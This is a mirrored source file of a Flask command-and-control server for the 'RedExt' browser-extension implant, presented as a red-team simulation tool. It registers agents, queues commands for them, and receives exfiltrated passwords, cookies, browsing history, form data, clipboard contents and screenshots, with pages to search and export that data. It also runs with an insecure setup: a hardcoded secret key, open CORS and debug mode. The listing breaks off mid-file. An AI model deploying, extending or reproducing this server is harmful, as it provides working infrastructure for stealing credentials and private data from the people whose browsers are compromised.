mirror of
https://github.com/Darkrain2009/RedExt
synced 2026-06-08 10:50:40 +00:00
31b6a2400c
1. Agent Auto-Cleanup: POST /api/agents/cleanup deletes agents (and their tasks) that have been offline longer than a configurable number of days. Accessible via a 'Cleanup' button on the agents page that opens a modal with a days input before confirming. 2. Activity Timeline: new events table logs key engagement actions — agent_registered, agent_deleted, agent_cleaned_up, task_created, task_completed, data_received. The /timeline page renders a visual timeline with color-coded event types, agent links, and details. Timeline added to the sidebar nav. log_event() helper wired into all relevant routes.
1169 lines
38 KiB
Python
1169 lines
38 KiB
Python
#!/usr/bin/env python3
|
|
"""
|
|
Flask-based C2 server for authorized Red Team simulation with a dark-themed dashboard.
|
|
"""
|
|
|
|
import uuid
|
|
import json
|
|
import csv
|
|
import io
|
|
import click
|
|
import sqlite3
|
|
from datetime import datetime, timedelta
|
|
from flask import (
|
|
Flask, request, jsonify,
|
|
render_template, redirect, url_for,
|
|
flash, Markup, Response
|
|
)
|
|
from flask_cors import CORS
|
|
from typing import Dict
|
|
from urllib.parse import urlparse
|
|
|
|
app = Flask(__name__)
|
|
app.secret_key = 'replace_with_secure_key'
|
|
CORS(app)
|
|
|
|
DATABASE = 'c2_server.db'
|
|
|
|
# Add template mapping
|
|
TEMPLATE_MAP: Dict[str, str] = {
|
|
'BOOKMARKS': 'view_bookmarks.html',
|
|
'HISTORY': 'view_history.html',
|
|
'DOWNLOADS': 'view_downloads.html',
|
|
'PASSWORDS': 'view_passwords.html',
|
|
'LOCALSTORAGEDATA': 'view_storage.html',
|
|
'TAKE_SCREENSHOT': 'view_screenshots.html',
|
|
'COOKIES': 'view_cookies.html',
|
|
'FORMS': 'view_forms.html',
|
|
|
|
'DOMSNAPSHOT': 'view_snapshots.html',
|
|
'CLIPBOARDCAPTURE': 'view_clipboard.html',
|
|
'ENUMERATION': 'view_enumeration.html',
|
|
'LOCALSTORAGEDUMP': 'view_storage.html'
|
|
}
|
|
|
|
def get_db_connection():
|
|
conn = sqlite3.connect(DATABASE)
|
|
conn.row_factory = sqlite3.Row
|
|
return conn
|
|
|
|
def log_event(conn, event_type, agent_id=None, details=None):
|
|
"""Write an event to the audit log."""
|
|
c = conn.cursor()
|
|
c.execute(
|
|
"INSERT INTO events (event_type, agent_id, details) VALUES (?, ?, ?)",
|
|
(event_type, agent_id, json.dumps(details) if details else None)
|
|
)
|
|
|
|
#
|
|
# 1. Dashboard Routes
|
|
#
|
|
|
|
@app.route('/')
|
|
def index():
|
|
"""Overview page: stats and recent exfil data."""
|
|
conn = get_db_connection()
|
|
c = conn.cursor()
|
|
|
|
# Example stats
|
|
c.execute("SELECT COUNT(*) AS count FROM agents WHERE status='online'")
|
|
active_agents = c.fetchone()['count']
|
|
|
|
c.execute("SELECT COUNT(*) AS count FROM tasks WHERE status='pending'")
|
|
pending_tasks = c.fetchone()['count']
|
|
|
|
c.execute("SELECT * FROM data_records ORDER BY data_id DESC LIMIT 5")
|
|
recent_data = c.fetchall()
|
|
|
|
conn.close()
|
|
|
|
return render_template(
|
|
'index.html',
|
|
active_agents=active_agents,
|
|
pending_tasks=pending_tasks,
|
|
recent_data=recent_data
|
|
)
|
|
|
|
@app.route('/agents')
|
|
def agents():
|
|
"""Displays the agent management page."""
|
|
conn = get_db_connection()
|
|
c = conn.cursor()
|
|
|
|
# Get agents with their completed tasks count
|
|
c.execute('''
|
|
SELECT a.*, COUNT(CASE WHEN t.status = 'completed' THEN 1 END) as completed_tasks
|
|
FROM agents a
|
|
LEFT JOIN tasks t ON a.agent_id = t.agent_id
|
|
GROUP BY a.agent_id
|
|
''')
|
|
|
|
agents = c.fetchall()
|
|
conn.close()
|
|
|
|
return render_template('agents.html', agents=agents)
|
|
|
|
@app.route('/agent/<agent_id>')
|
|
def agent_detail(agent_id):
|
|
"""Detailed view for a specific agent."""
|
|
conn = get_db_connection()
|
|
c = conn.cursor()
|
|
c.execute("SELECT * FROM agents WHERE agent_id = ?", (agent_id,))
|
|
agent = c.fetchone()
|
|
if not agent:
|
|
conn.close()
|
|
flash("Agent not found.")
|
|
return redirect(url_for('agents'))
|
|
|
|
# Fetch tasks
|
|
c.execute("SELECT * FROM tasks WHERE agent_id = ?", (agent_id,))
|
|
tasks = c.fetchall()
|
|
conn.close()
|
|
|
|
# Safely parse last_seen from string to datetime
|
|
last_seen_str = agent['last_seen']
|
|
last_seen_dt = None
|
|
if last_seen_str:
|
|
try:
|
|
# Adjust format if your DB date format differs
|
|
last_seen_dt = datetime.strptime(last_seen_str, '%Y-%m-%d %H:%M:%S')
|
|
except ValueError:
|
|
# If parsing fails, fallback
|
|
last_seen_dt = datetime.now()
|
|
else:
|
|
# If no last_seen in DB, fallback
|
|
last_seen_dt = datetime.now()
|
|
|
|
agent_data = {
|
|
'agent_id': agent['agent_id'],
|
|
'hostname': agent['hostname'] or 'Unknown Host',
|
|
'status': agent['status'],
|
|
'last_seen': last_seen_dt,
|
|
'notes': agent['notes'] or '',
|
|
'tasks': [{
|
|
'task_id': t['task_id'],
|
|
'description': t['description'] or 'No Description',
|
|
'command': t['command'],
|
|
'parameters': t['parameters'],
|
|
'status': t['status'],
|
|
'assigned_at': t['assigned_at']
|
|
} for t in tasks]
|
|
}
|
|
|
|
return render_template('agent_detail.html', agent=agent_data)
|
|
|
|
@app.route('/tasks')
|
|
def tasks():
|
|
"""Displays the task management page."""
|
|
conn = get_db_connection()
|
|
c = conn.cursor()
|
|
c.execute("SELECT * FROM tasks ORDER BY task_id DESC")
|
|
rows = c.fetchall()
|
|
conn.close()
|
|
|
|
tasks_data = []
|
|
for r in rows:
|
|
tasks_data.append({
|
|
'task_id': r['task_id'],
|
|
'agent_id': r['agent_id'],
|
|
'description': r['description'] or 'No Description',
|
|
'command': r['command'],
|
|
'parameters': r['parameters'],
|
|
'status': r['status']
|
|
})
|
|
return render_template('tasks.html', tasks=tasks_data)
|
|
|
|
@app.route('/data')
|
|
def data():
|
|
"""Display all data grouped by agent."""
|
|
conn = get_db_connection()
|
|
c = conn.cursor()
|
|
|
|
# Get all records with timestamp
|
|
c.execute("""
|
|
SELECT dr.*, a.hostname
|
|
FROM data_records dr
|
|
LEFT JOIN agents a ON dr.agent_id = a.agent_id
|
|
ORDER BY dr.data_id DESC
|
|
""")
|
|
records = c.fetchall()
|
|
conn.close()
|
|
|
|
# Group records by agent
|
|
group_by_agent = {}
|
|
for record in records:
|
|
agent_id = record['agent_id']
|
|
if agent_id not in group_by_agent:
|
|
group_by_agent[agent_id] = []
|
|
# Convert record to dict and ensure timestamp exists
|
|
record_dict = dict(record)
|
|
if 'created_at' not in record_dict:
|
|
record_dict['created_at'] = record_dict.get('data_id', 'Unknown')
|
|
group_by_agent[agent_id].append(record_dict)
|
|
|
|
return render_template('data.html', group_by_agent=group_by_agent)
|
|
|
|
@app.route('/config')
|
|
def config():
|
|
"""Placeholder for any settings."""
|
|
return "<h1>Configuration Page (Placeholder)</h1>"
|
|
|
|
@app.route('/search')
|
|
def search():
|
|
"""Global search across all exfiltrated data."""
|
|
query = request.args.get('q', '').strip()
|
|
data_type_filter = request.args.get('type', 'ALL').upper()
|
|
results = []
|
|
|
|
if query:
|
|
conn = get_db_connection()
|
|
c = conn.cursor()
|
|
if data_type_filter == 'ALL':
|
|
c.execute("""
|
|
SELECT dr.data_id, dr.agent_id, dr.data_type, dr.payload, dr.created_at,
|
|
a.hostname
|
|
FROM data_records dr
|
|
LEFT JOIN agents a ON dr.agent_id = a.agent_id
|
|
WHERE dr.payload LIKE ?
|
|
ORDER BY dr.created_at DESC
|
|
LIMIT 200
|
|
""", (f'%{query}%',))
|
|
else:
|
|
c.execute("""
|
|
SELECT dr.data_id, dr.agent_id, dr.data_type, dr.payload, dr.created_at,
|
|
a.hostname
|
|
FROM data_records dr
|
|
LEFT JOIN agents a ON dr.agent_id = a.agent_id
|
|
WHERE dr.payload LIKE ? AND dr.data_type = ?
|
|
ORDER BY dr.created_at DESC
|
|
LIMIT 200
|
|
""", (f'%{query}%', data_type_filter))
|
|
|
|
# Get distinct data types for filter dropdown
|
|
c2 = conn.cursor()
|
|
c2.execute("SELECT DISTINCT data_type FROM data_records ORDER BY data_type")
|
|
data_types = [r['data_type'] for r in c2.fetchall()]
|
|
|
|
results = [dict(r) for r in c.fetchall()]
|
|
conn.close()
|
|
else:
|
|
conn = get_db_connection()
|
|
c = conn.cursor()
|
|
c.execute("SELECT DISTINCT data_type FROM data_records ORDER BY data_type")
|
|
data_types = [r['data_type'] for r in c.fetchall()]
|
|
conn.close()
|
|
|
|
return render_template('search.html', query=query, results=results,
|
|
data_types=data_types if query or True else [],
|
|
data_type_filter=data_type_filter)
|
|
|
|
@app.route('/agent/<agent_id>/export')
|
|
def export_agent_data(agent_id):
|
|
"""Export agent data as JSON or CSV."""
|
|
fmt = request.args.get('format', 'json').lower()
|
|
data_type = request.args.get('type', 'ALL').upper()
|
|
|
|
conn = get_db_connection()
|
|
c = conn.cursor()
|
|
if data_type == 'ALL':
|
|
c.execute("SELECT * FROM data_records WHERE agent_id = ? ORDER BY created_at DESC", (agent_id,))
|
|
else:
|
|
c.execute("SELECT * FROM data_records WHERE agent_id = ? AND data_type = ? ORDER BY created_at DESC",
|
|
(agent_id, data_type))
|
|
records = c.fetchall()
|
|
conn.close()
|
|
|
|
filename = f'agent_{agent_id[:8]}_{data_type}'
|
|
|
|
if fmt == 'csv':
|
|
output = io.StringIO()
|
|
writer = csv.writer(output)
|
|
writer.writerow(['data_id', 'agent_id', 'data_type', 'payload', 'created_at'])
|
|
for r in records:
|
|
writer.writerow([r['data_id'], r['agent_id'], r['data_type'], r['payload'], r['created_at']])
|
|
return Response(
|
|
output.getvalue(),
|
|
mimetype='text/csv',
|
|
headers={'Content-Disposition': f'attachment; filename={filename}.csv'}
|
|
)
|
|
else:
|
|
data = [dict(r) for r in records]
|
|
return Response(
|
|
json.dumps(data, indent=2, default=str),
|
|
mimetype='application/json',
|
|
headers={'Content-Disposition': f'attachment; filename={filename}.json'}
|
|
)
|
|
|
|
@app.route('/create_task', methods=['GET', 'POST'])
|
|
def create_task():
|
|
"""Create a new task for a specified agent."""
|
|
conn = get_db_connection()
|
|
c = conn.cursor()
|
|
|
|
if request.method == 'POST':
|
|
description = request.form.get('description')
|
|
command = request.form.get('command')
|
|
agent_id = request.form.get('agent_id')
|
|
parameters = request.form.get('parameters')
|
|
|
|
if not description or not command or not agent_id:
|
|
flash("Please fill out all required fields.")
|
|
return redirect(url_for('create_task'))
|
|
|
|
# For tunnel commands, validate URL
|
|
if command.upper() == 'TUNNEL':
|
|
try:
|
|
params = json.loads(parameters)
|
|
if 'url' not in params:
|
|
flash("Tunnel command requires a URL in parameters")
|
|
return redirect(url_for('create_task'))
|
|
except json.JSONDecodeError:
|
|
flash("Invalid JSON parameters for tunnel command")
|
|
return redirect(url_for('create_task'))
|
|
|
|
c.execute(
|
|
"""INSERT INTO tasks (agent_id, description, command, parameters)
|
|
VALUES (?, ?, ?, ?)""",
|
|
(agent_id, description, command.upper(), parameters)
|
|
)
|
|
log_event(conn, 'task_created', agent_id,
|
|
{'command': command.upper(), 'description': description})
|
|
conn.commit()
|
|
conn.close()
|
|
|
|
return redirect(url_for('tasks'))
|
|
|
|
# For GET request, gather agent info
|
|
c.execute("SELECT agent_id, hostname FROM agents")
|
|
agents_rows = c.fetchall()
|
|
conn.close()
|
|
|
|
agents_list = []
|
|
for a in agents_rows:
|
|
agents_list.append({
|
|
'agent_id': a['agent_id'],
|
|
'hostname': a['hostname'] or 'Unknown Host'
|
|
})
|
|
|
|
return render_template('create_task.html', agents=agents_list)
|
|
|
|
@app.route('/agent/<agent_id>/data')
|
|
def agent_data(agent_id):
|
|
conn = get_db_connection()
|
|
c = conn.cursor()
|
|
|
|
# Get agent info
|
|
c.execute("SELECT * FROM agents WHERE agent_id = ?", (agent_id,))
|
|
agent = c.fetchone()
|
|
|
|
# Get all records for this agent using created_at instead of timestamp
|
|
c.execute("""
|
|
SELECT * FROM data_records
|
|
WHERE agent_id = ?
|
|
ORDER BY created_at DESC
|
|
""", (agent_id,))
|
|
records = c.fetchall()
|
|
|
|
# Group records by data type
|
|
data_by_type = {}
|
|
for record in records:
|
|
data_type = record['data_type'].lower()
|
|
if data_type not in data_by_type:
|
|
data_by_type[data_type] = []
|
|
|
|
# Parse JSON payload if exists
|
|
try:
|
|
payload = json.loads(record['payload']) if record['payload'] else None
|
|
except json.JSONDecodeError:
|
|
payload = record['payload']
|
|
|
|
record_dict = dict(record)
|
|
record_dict['payload'] = payload
|
|
data_by_type[data_type].append(record_dict)
|
|
|
|
conn.close()
|
|
|
|
return render_template('agent_data.html',
|
|
agent=agent,
|
|
agent_id=agent_id,
|
|
data_by_type=data_by_type)
|
|
|
|
@app.route('/agent/<agent_id>/data/<data_type>')
|
|
def view_data_type(agent_id, data_type):
|
|
conn = get_db_connection()
|
|
c = conn.cursor()
|
|
|
|
# Get collection period
|
|
c.execute("""
|
|
SELECT MIN(created_at), MAX(created_at)
|
|
FROM data_records
|
|
WHERE agent_id = ? AND data_type = ?
|
|
""", (agent_id, data_type))
|
|
date_range = c.fetchone()
|
|
|
|
# Get all records
|
|
c.execute("""
|
|
SELECT data_id, agent_id, data_type, payload, created_at
|
|
FROM data_records
|
|
WHERE agent_id = ? AND data_type = ?
|
|
ORDER BY created_at DESC
|
|
""", (agent_id, data_type))
|
|
|
|
records = c.fetchall()
|
|
data_type = data_type.upper()
|
|
|
|
try:
|
|
formatted_records = []
|
|
total_entries = 0
|
|
unique_domains = set()
|
|
domain_frequency = {}
|
|
|
|
for record in records:
|
|
try:
|
|
payload = json.loads(record[3]) if record[3] else {}
|
|
|
|
# Process entries and count statistics
|
|
if 'entries' in payload:
|
|
total_entries += len(payload['entries'])
|
|
# Extract domains from URLs
|
|
for entry in payload['entries']:
|
|
if 'url' in entry:
|
|
try:
|
|
domain = urlparse(entry['url']).netloc
|
|
unique_domains.add(domain)
|
|
domain_frequency[domain] = domain_frequency.get(domain, 0) + 1
|
|
except:
|
|
continue
|
|
|
|
formatted_record = {
|
|
'data_id': record[0],
|
|
'agent_id': record[1],
|
|
'data_type': record[2],
|
|
'payload': payload,
|
|
'created_at': record[4]
|
|
}
|
|
formatted_records.append(formatted_record)
|
|
except json.JSONDecodeError:
|
|
continue
|
|
|
|
# Calculate collection period
|
|
start_date = datetime.strptime(date_range[0], '%Y-%m-%d %H:%M:%S') if date_range[0] else None
|
|
end_date = datetime.strptime(date_range[1], '%Y-%m-%d %H:%M:%S') if date_range[1] else None
|
|
collection_period = (end_date - start_date).days + 1 if start_date and end_date else 0
|
|
|
|
# Get top domains by frequency
|
|
top_domains = sorted(domain_frequency.items(), key=lambda x: x[1], reverse=True)[:5]
|
|
|
|
template = TEMPLATE_MAP.get(data_type, 'view_generic.html')
|
|
|
|
# Prepare the data for JavaScript
|
|
history_data_json = json.dumps(formatted_records, default=str)
|
|
|
|
# Ensure safe JSON encoding
|
|
try:
|
|
history_data_json = json.dumps(formatted_records, default=str)
|
|
except Exception as e:
|
|
print(f"JSON encoding error: {e}")
|
|
history_data_json = "[]"
|
|
|
|
stats = {
|
|
'total_entries': total_entries,
|
|
'unique_domains': len(unique_domains),
|
|
'collection_period': collection_period,
|
|
'start_date': start_date,
|
|
'end_date': end_date,
|
|
'frequent_sites': len([d for d in domain_frequency.values() if d > 5])
|
|
}
|
|
|
|
return render_template(
|
|
template,
|
|
agent_id=agent_id,
|
|
records=formatted_records,
|
|
history_data_json=Markup(history_data_json),
|
|
data_type=data_type,
|
|
stats=stats
|
|
)
|
|
except Exception as e:
|
|
print(f"Error processing {data_type} data: {e}")
|
|
return render_template('error.html',
|
|
error=f"Error processing {data_type} data",
|
|
details=str(e))
|
|
finally:
|
|
conn.close()
|
|
|
|
@app.route('/agent/<agent_id>/data/BOOKMARKS')
|
|
def view_bookmarks(agent_id):
|
|
conn = get_db_connection()
|
|
c = conn.cursor()
|
|
|
|
# Get all bookmark records for this agent, ordered by most recent first
|
|
c.execute("""
|
|
SELECT
|
|
data_id,
|
|
agent_id,
|
|
created_at,
|
|
payload
|
|
FROM data_records
|
|
WHERE agent_id = ?
|
|
AND data_type = 'BOOKMARKS'
|
|
ORDER BY created_at DESC
|
|
""", (agent_id,))
|
|
|
|
records = []
|
|
for record in c.fetchall():
|
|
try:
|
|
record_dict = dict(record)
|
|
# Parse JSON payload
|
|
record_dict['payload'] = json.loads(record_dict['payload'])
|
|
records.append(record_dict)
|
|
except json.JSONDecodeError as e:
|
|
flash(f'Error parsing bookmark data: {str(e)}', 'error')
|
|
continue
|
|
|
|
conn.close()
|
|
return render_template('view_bookmarks.html', agent_id=agent_id, records=records)
|
|
|
|
@app.route('/agent/<agent_id>/enumeration')
|
|
def view_enumeration(agent_id):
|
|
conn = get_db_connection()
|
|
c = conn.cursor()
|
|
|
|
try:
|
|
# Get all enumeration records for this agent
|
|
c.execute("""
|
|
SELECT data_id, agent_id, data_type, payload, created_at
|
|
FROM data_records
|
|
WHERE agent_id = ? AND data_type = 'ENUMERATION'
|
|
ORDER BY created_at DESC
|
|
""", (agent_id,))
|
|
|
|
# Convert to dict for easier template handling
|
|
records = []
|
|
for row in c.fetchall():
|
|
try:
|
|
# Parse the JSON payload if it's a string
|
|
payload = row[3]
|
|
if isinstance(payload, str):
|
|
payload = json.loads(payload)
|
|
|
|
records.append({
|
|
'data_id': row[0],
|
|
'agent_id': row[1],
|
|
'data_type': row[2],
|
|
'payload': payload,
|
|
'created_at': row[4]
|
|
})
|
|
except json.JSONDecodeError as e:
|
|
print(f"Error decoding JSON for record {row[0]}: {e}")
|
|
continue
|
|
|
|
return render_template('view_enumeration.html',
|
|
agent_id=agent_id,
|
|
records=records)
|
|
except Exception as e:
|
|
flash(f"Error retrieving enumeration data: {e}", 'error')
|
|
return redirect(url_for('agent_data', agent_id=agent_id))
|
|
finally:
|
|
conn.close()
|
|
|
|
@app.route('/agent/<agent_id>/cookies')
|
|
def view_cookies(agent_id):
|
|
conn = get_db_connection()
|
|
c = conn.cursor()
|
|
|
|
try:
|
|
c.execute("""
|
|
SELECT data_id, agent_id, data_type, payload, created_at
|
|
FROM data_records
|
|
WHERE agent_id = ? AND data_type = 'COOKIES'
|
|
ORDER BY created_at DESC
|
|
""", (agent_id,))
|
|
|
|
# Convert to dict for easier template handling
|
|
records = []
|
|
for row in c.fetchall():
|
|
try:
|
|
# Parse the JSON payload
|
|
payload = row[3]
|
|
if isinstance(payload, str):
|
|
cookies_data = json.loads(payload)
|
|
else:
|
|
cookies_data = payload
|
|
|
|
records.append({
|
|
'data_id': row[0],
|
|
'agent_id': row[1],
|
|
'data_type': row[2],
|
|
'payload': cookies_data,
|
|
'created_at': row[4]
|
|
})
|
|
except json.JSONDecodeError as e:
|
|
print(f"JSON decode error: {e}")
|
|
print(f"Raw payload: {row[3]}")
|
|
return render_template('error.html',
|
|
error="Error processing cookie data",
|
|
details=str(e))
|
|
|
|
return render_template('view_cookies.html',
|
|
agent_id=agent_id,
|
|
records=records)
|
|
except Exception as e:
|
|
print(f"Database error: {e}")
|
|
return render_template('error.html',
|
|
error="Database error",
|
|
details=str(e))
|
|
finally:
|
|
conn.close()
|
|
|
|
#
|
|
# 2. API Routes
|
|
#
|
|
|
|
@app.route('/api/register', methods=['POST'])
|
|
def register_agent():
|
|
"""Register a new agent."""
|
|
data = request.json or {}
|
|
hostname = data.get('agent_name', 'RedExtAgent')
|
|
agent_id = str(uuid.uuid4())
|
|
|
|
conn = get_db_connection()
|
|
c = conn.cursor()
|
|
c.execute(
|
|
"""INSERT INTO agents (agent_id, hostname, status, last_seen)
|
|
VALUES (?, ?, 'online', datetime('now'))""",
|
|
(agent_id, hostname)
|
|
)
|
|
log_event(conn, 'agent_registered', agent_id, {'hostname': hostname})
|
|
conn.commit()
|
|
conn.close()
|
|
|
|
return jsonify({'status': 'registered', 'agent_id': agent_id})
|
|
|
|
@app.route('/api/commands')
|
|
def get_commands():
|
|
"""Agents poll this endpoint for new commands."""
|
|
agent_id = request.args.get('agent_id')
|
|
if not agent_id:
|
|
return jsonify({'error': 'missing agent_id'}), 400
|
|
|
|
conn = get_db_connection()
|
|
c = conn.cursor()
|
|
|
|
# Update agent heartbeat
|
|
c.execute("""UPDATE agents SET last_seen = datetime('now'), status = 'online'
|
|
WHERE agent_id = ?""", (agent_id,))
|
|
|
|
# Only get tasks that are in 'pending' status
|
|
c.execute("""SELECT * FROM tasks
|
|
WHERE agent_id = ?
|
|
AND status = 'pending'""", (agent_id,))
|
|
tasks = c.fetchall()
|
|
|
|
commands = []
|
|
for task in tasks:
|
|
payload = {}
|
|
if task['parameters']:
|
|
try:
|
|
payload = json.loads(task['parameters'])
|
|
except json.JSONDecodeError:
|
|
payload = {}
|
|
commands.append({'type': task['command'].lower(), 'payload': payload})
|
|
|
|
# Mark task as 'in_progress' immediately
|
|
c.execute("""UPDATE tasks
|
|
SET status = 'in_progress'
|
|
WHERE task_id = ?""",
|
|
(task['task_id'],))
|
|
|
|
conn.commit()
|
|
conn.close()
|
|
|
|
return jsonify(commands)
|
|
|
|
@app.route('/api/exfil', methods=['POST'])
|
|
def exfil():
|
|
"""Handle exfiltrated data from agents."""
|
|
data = request.get_json()
|
|
agent_id = data.get('agent_id')
|
|
action = data.get('action', '').upper()
|
|
payload = data.get('payload')
|
|
|
|
if not agent_id or not action:
|
|
return jsonify({'status': 'error', 'message': 'Missing required fields'})
|
|
|
|
conn = get_db_connection()
|
|
c = conn.cursor()
|
|
|
|
try:
|
|
# Find latest matching task first so we can link it
|
|
c.execute("""
|
|
SELECT task_id FROM tasks
|
|
WHERE agent_id = ?
|
|
AND command = ?
|
|
AND status IN ('pending', 'in_progress')
|
|
ORDER BY task_id DESC
|
|
LIMIT 1
|
|
""", (agent_id, action))
|
|
|
|
row = c.fetchone()
|
|
linked_task_id = row['task_id'] if row else None
|
|
|
|
# Store the exfiltrated data linked to the task
|
|
c.execute("""
|
|
INSERT INTO data_records (agent_id, data_type, payload, task_id)
|
|
VALUES (?, ?, ?, ?)
|
|
""", (agent_id, action, json.dumps(payload), linked_task_id))
|
|
|
|
log_event(conn, 'data_received', agent_id, {'data_type': action})
|
|
|
|
if linked_task_id:
|
|
c.execute("""
|
|
UPDATE tasks
|
|
SET status = 'completed'
|
|
WHERE task_id = ?
|
|
""", (linked_task_id,))
|
|
log_event(conn, 'task_completed', agent_id,
|
|
{'task_id': linked_task_id, 'command': action})
|
|
|
|
conn.commit()
|
|
return jsonify({'status': 'success'})
|
|
except Exception as e:
|
|
print(f"Error handling exfil: {e}")
|
|
return jsonify({'status': 'error', 'message': str(e)})
|
|
finally:
|
|
conn.close()
|
|
|
|
@app.route('/api/tasks', methods=['GET'])
|
|
def get_tasks_json():
|
|
"""Return all tasks as JSON for frontend polling."""
|
|
conn = get_db_connection()
|
|
c = conn.cursor()
|
|
c.execute("SELECT * FROM tasks ORDER BY task_id DESC")
|
|
rows = c.fetchall()
|
|
conn.close()
|
|
tasks = [dict(r) for r in rows]
|
|
return jsonify(tasks)
|
|
|
|
@app.route('/api/tasks/delete/<int:task_id>', methods=['POST'])
|
|
def delete_task(task_id):
|
|
"""Delete a task from the database."""
|
|
conn = get_db_connection()
|
|
c = conn.cursor()
|
|
c.execute("DELETE FROM tasks WHERE task_id = ?", (task_id,))
|
|
success = c.rowcount > 0
|
|
conn.commit()
|
|
conn.close()
|
|
return jsonify({'success': success})
|
|
|
|
@app.route('/api/tasks/bulk', methods=['POST'])
|
|
def bulk_task_action():
|
|
data = request.json
|
|
action = data.get('action')
|
|
task_ids = data.get('taskIds', [])
|
|
|
|
if action == 'cancel':
|
|
success = cancel_tasks(task_ids)
|
|
elif action == 'delete':
|
|
success = delete_tasks(task_ids)
|
|
else:
|
|
return jsonify({'success': False, 'error': 'Invalid action'})
|
|
|
|
return jsonify({'success': success})
|
|
|
|
def get_task_by_id(task_id):
|
|
"""Get task details from database."""
|
|
conn = get_db_connection()
|
|
c = conn.cursor()
|
|
c.execute("SELECT * FROM tasks WHERE task_id = ?", (task_id,))
|
|
task = c.fetchone()
|
|
conn.close()
|
|
return task
|
|
|
|
def cancel_task_by_id(task_id):
|
|
"""Cancel a single task."""
|
|
conn = get_db_connection()
|
|
c = conn.cursor()
|
|
c.execute("UPDATE tasks SET status = 'cancelled' WHERE task_id = ?", (task_id,))
|
|
success = c.rowcount > 0
|
|
conn.commit()
|
|
conn.close()
|
|
return success
|
|
|
|
def cancel_tasks(task_ids):
|
|
"""Cancel multiple tasks."""
|
|
conn = get_db_connection()
|
|
c = conn.cursor()
|
|
placeholders = ','.join('?' * len(task_ids))
|
|
c.execute(f"UPDATE tasks SET status = 'cancelled' WHERE task_id IN ({placeholders})", task_ids)
|
|
success = c.rowcount > 0
|
|
conn.commit()
|
|
conn.close()
|
|
return success
|
|
|
|
def delete_tasks(task_ids):
|
|
"""Delete multiple tasks."""
|
|
conn = get_db_connection()
|
|
c = conn.cursor()
|
|
placeholders = ','.join('?' * len(task_ids))
|
|
c.execute(f"DELETE FROM tasks WHERE task_id IN ({placeholders})", task_ids)
|
|
success = c.rowcount > 0
|
|
conn.commit()
|
|
conn.close()
|
|
return success
|
|
|
|
@app.route('/api/agents/<agent_id>/status', methods=['GET'])
|
|
def get_agent_status(agent_id):
|
|
conn = get_db_connection()
|
|
c = conn.cursor()
|
|
|
|
c.execute('SELECT last_seen FROM agents WHERE agent_id = ?', (agent_id,))
|
|
result = c.fetchone()
|
|
conn.close()
|
|
|
|
if not result:
|
|
return jsonify({'error': 'Agent not found'}), 404
|
|
|
|
last_seen = result['last_seen']
|
|
|
|
# Calculate status based on last_seen
|
|
if not last_seen:
|
|
status = 'offline'
|
|
else:
|
|
last_seen_dt = datetime.strptime(last_seen, '%Y-%m-%d %H:%M:%S')
|
|
time_diff = datetime.now() - last_seen_dt
|
|
|
|
if time_diff.total_seconds() < 300: # 5 minutes
|
|
status = 'online'
|
|
elif time_diff.total_seconds() < 900: # 15 minutes
|
|
status = 'idle'
|
|
else:
|
|
status = 'offline'
|
|
|
|
return jsonify({
|
|
'status': status,
|
|
'last_seen': last_seen
|
|
})
|
|
|
|
@app.route('/api/agents/cleanup', methods=['POST'])
|
|
def cleanup_agents():
|
|
"""Delete agents that have been offline for more than X days."""
|
|
data = request.json or {}
|
|
days = max(1, int(data.get('days', 7)))
|
|
|
|
conn = get_db_connection()
|
|
c = conn.cursor()
|
|
c.execute("""
|
|
SELECT agent_id, hostname FROM agents
|
|
WHERE datetime(last_seen) < datetime('now', ?)
|
|
""", (f'-{days} days',))
|
|
stale = c.fetchall()
|
|
|
|
count = 0
|
|
for agent in stale:
|
|
log_event(conn, 'agent_cleaned_up', agent['agent_id'],
|
|
{'hostname': agent['hostname'], 'days_threshold': days})
|
|
c.execute('DELETE FROM tasks WHERE agent_id = ?', (agent['agent_id'],))
|
|
c.execute('DELETE FROM agents WHERE agent_id = ?', (agent['agent_id'],))
|
|
count += 1
|
|
|
|
conn.commit()
|
|
conn.close()
|
|
return jsonify({'success': True, 'cleaned': count})
|
|
|
|
@app.route('/timeline')
|
|
def timeline():
|
|
"""Activity timeline / audit log."""
|
|
conn = get_db_connection()
|
|
c = conn.cursor()
|
|
c.execute("""
|
|
SELECT e.event_id, e.event_type, e.agent_id, e.details, e.created_at,
|
|
a.hostname
|
|
FROM events e
|
|
LEFT JOIN agents a ON e.agent_id = a.agent_id
|
|
ORDER BY e.created_at DESC
|
|
LIMIT 500
|
|
""")
|
|
events = [dict(r) for r in c.fetchall()]
|
|
conn.close()
|
|
return render_template('timeline.html', events=events)
|
|
|
|
@app.route('/api/agents/<agent_id>/notes', methods=['POST'])
|
|
def update_agent_notes(agent_id):
|
|
"""Update notes for an agent."""
|
|
data = request.json or {}
|
|
notes = data.get('notes', '')
|
|
conn = get_db_connection()
|
|
c = conn.cursor()
|
|
c.execute("UPDATE agents SET notes = ? WHERE agent_id = ?", (notes, agent_id))
|
|
success = c.rowcount > 0
|
|
conn.commit()
|
|
conn.close()
|
|
return jsonify({'success': success})
|
|
|
|
@app.route('/api/agents/<agent_id>', methods=['DELETE'])
|
|
def delete_agent(agent_id):
|
|
conn = get_db_connection()
|
|
c = conn.cursor()
|
|
|
|
# Delete related tasks first
|
|
c.execute('DELETE FROM tasks WHERE agent_id = ?', (agent_id,))
|
|
|
|
# Log before deleting
|
|
c.execute('SELECT hostname FROM agents WHERE agent_id = ?', (agent_id,))
|
|
row = c.fetchone()
|
|
if row:
|
|
log_event(conn, 'agent_deleted', agent_id, {'hostname': row['hostname']})
|
|
|
|
# Delete agent
|
|
c.execute('DELETE FROM agents WHERE agent_id = ?', (agent_id,))
|
|
success = c.rowcount > 0
|
|
|
|
conn.commit()
|
|
conn.close()
|
|
|
|
if not success:
|
|
return jsonify({'error': 'Agent not found'}), 404
|
|
|
|
return '', 204
|
|
|
|
#
|
|
# 3. CLI Commands
|
|
#
|
|
|
|
@click.group()
|
|
def cli():
|
|
"""C2 Server CLI."""
|
|
pass
|
|
|
|
@cli.command()
|
|
def runserver():
|
|
"""Run the Flask server."""
|
|
app.run(host='0.0.0.0', port=5000, debug=True)
|
|
|
|
@cli.command()
|
|
def list_agents():
|
|
"""List all agents."""
|
|
conn = get_db_connection()
|
|
c = conn.cursor()
|
|
c.execute("SELECT * FROM agents")
|
|
rows = c.fetchall()
|
|
conn.close()
|
|
|
|
if not rows:
|
|
click.echo("No agents registered.")
|
|
return
|
|
|
|
for r in rows:
|
|
click.echo(
|
|
f"ID: {r['agent_id']} | Hostname: {r['hostname']} "
|
|
f"| Status: {r['status']} | Last Seen: {r['last_seen']}"
|
|
)
|
|
|
|
@cli.command()
|
|
